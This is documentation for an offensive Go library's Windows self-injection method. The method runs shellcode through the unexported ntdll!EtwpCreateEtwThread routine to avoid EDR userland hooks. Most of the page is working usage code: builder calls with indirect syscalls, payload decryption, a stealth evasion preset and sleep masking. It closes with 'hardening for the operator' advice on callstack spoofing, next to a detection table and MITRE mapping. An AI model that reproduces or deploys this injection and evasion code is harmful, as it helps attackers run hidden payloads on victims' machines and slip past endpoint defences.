EtwpCreateEtwThread injection

← injection index · docs/index

TL;DR

Self-injection via the internal ntdll!EtwpCreateEtwThread — ETW's private thread-creation routine. Allocates RX in the current process, writes shellcode, calls the routine with the shellcode address as the start point. Same end result as NtCreateThreadEx, but the underlying call is unexported and rarely hooked. Self-process only.

Primer

ETW (Event Tracing for Windows) maintains its own helper threads for trace-buffer management. Internally ntdll exposes the EtwpCreateEtwThread routine to spawn those helpers. The routine boils down to NtCreateThreadEx with ETW-specific flags and a small trampoline, but it is not exported by name — EDR products that hook NtCreateThreadEx for thread-creation telemetry typically do not also hook the private ETW routine.

The implant resolves EtwpCreateEtwThread by symbol lookup or hashed PEB walk, allocates an RX page in itself, and calls the routine with the shellcode address as the start point. A real OS thread starts at the shellcode — same outcome as CreateThread, far quieter on userland-hook telemetry.

This is self-process only. Cross-process work needs a different primitive.

How it works

flowchart LR
    A[VirtualAlloc RW] --> B[memcpy shellcode]
    B --> C[VirtualProtect → RX]
    C --> D[resolve ntdll!EtwpCreateEtwThread]
    D --> E[invoke EtwpCreateEtwThread<br>start = shellcode]
    E --> F[new OS thread runs shellcode]

Steps:

  1. Allocate / write / protect in the current process (RW → RX).
  2. Resolve ntdll!EtwpCreateEtwThread via GetProcAddress, manual export-table walk, or a hashed PEB walk.
  3. Call the routine with the shellcode address as the start parameter.

The internal routine ends up calling NtCreateThreadEx itself; the kernel's thread-creation telemetry still fires (PsSetCreateThreadNotifyRoutine). What the technique evades is the userland-hook layer that EDR products typically install on the documented CreateThread family.

API Reference

This injection mode is selected via Method. The package does not expose EtwpCreateEtwThread as a top-level helper — drive it through the standard Injector / Builder paths.

Method = MethodEtwpCreateEtwThread

godoc

The constant "etwthr". Self-injection only — Config.PID must be 0 (current process) or unset.

Builder pattern

inj, err := inject.Build().
    Method(inject.MethodEtwpCreateEtwThread).
    IndirectSyscalls().
    Create()

SelfInjector is implemented; the freshly-allocated region is recoverable via InjectedRegion for sleep masking or wiping.

Examples

Simple

import "github.com/oioio-space/maldev/inject"

cfg := inject.DefaultWindowsConfig(inject.MethodEtwpCreateEtwThread, 0)
inj, err := inject.NewWindowsInjector(cfg)
if err != nil { return err }
return inj.Inject(shellcode)

Composed (with SelfInjector for sleep masking)

import (
    "time"

    "github.com/oioio-space/maldev/evasion/sleepmask"
    "github.com/oioio-space/maldev/inject"
)

inj, err := inject.Build().
    Method(inject.MethodEtwpCreateEtwThread).
    IndirectSyscalls().
    Create()
if err != nil { return err }
if err := inj.Inject(shellcode); err != nil { return err }

if self, ok := inj.(inject.SelfInjector); ok {
    if r, ok := self.InjectedRegion(); ok {
        mask := sleepmask.New(sleepmask.Region{Addr: r.Addr, Size: r.Size})
        for {
            mask.Sleep(30 * time.Second)
        }
    }
}

Advanced (decrypt + ETWP inject + sleep mask)

import (
    "time"

    "github.com/oioio-space/maldev/cleanup/memory"
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/evasion/sleepmask"
    "github.com/oioio-space/maldev/inject"
)

_ = evasion.ApplyAll(preset.Stealth(), nil)

shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)

inj, err := inject.Build().
    Method(inject.MethodEtwpCreateEtwThread).
    IndirectSyscalls().
    Create()
if err != nil { return err }
if err := inj.Inject(shellcode); err != nil { return err }
memory.SecureZero(shellcode)

if self, ok := inj.(inject.SelfInjector); ok {
    if r, ok := self.InjectedRegion(); ok {
        mask := sleepmask.New(sleepmask.Region{Addr: r.Addr, Size: r.Size})
        for {
            mask.Sleep(60 * time.Second)
        }
    }
}

Complex

The Pipeline API has no dedicated EtwpCreateEtwThreadExecutor; the named-method path is canonical. To experiment with custom executors, replicate the resolve-and-call snippet from inject/injector_self_windows.go.

OPSEC & Detection

ArtefactWhere defenders look
Userland hooks on NtCreateThreadEx / CreateThreadBypassedEtwpCreateEtwThread is unexported
Kernel PsSetCreateThreadNotifyRoutine callbackStill fires — the kernel sees a normal thread creation
Stack-walking on the new threadThe start address points into a non-image RX region — same orphan signal as CreateRemoteThread
EtwpCreateEtwThread invocation from a non-ETW callerNiche EDR rule — most products do not key on it; mature ETW-aware EDRs (CrowdStrike) do

D3FEND counters:

  • D3-PSA — kernel callback still surfaces the new thread.
  • D3-PCSV — verifies the start address against image segments.

Hardening for the operator: combine with evasion/callstack to fake the call site so stack-walking telemetry does not trivially flag the orphan thread; pair with evasion/sleepmask to encrypt the RX region between activations.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1055Process Injectionself-process variant via internal ntdll routineD3-PSA

Limitations

  • Self-process only. The routine starts a thread in the calling process. No PID parameter.
  • Not a kernel-callback bypass. PsSetCreateThreadNotifyRoutine still fires. The technique evades userland-hook telemetry only.
  • Undocumented. EtwpCreateEtwThread is internal to ntdll. Future Windows builds may rename, relocate, or remove it. The package's resolver caches the address; verify after major OS updates.
  • Stack walks still expose orphan threads. Pair with callstack spoofing for thorough coverage.

See also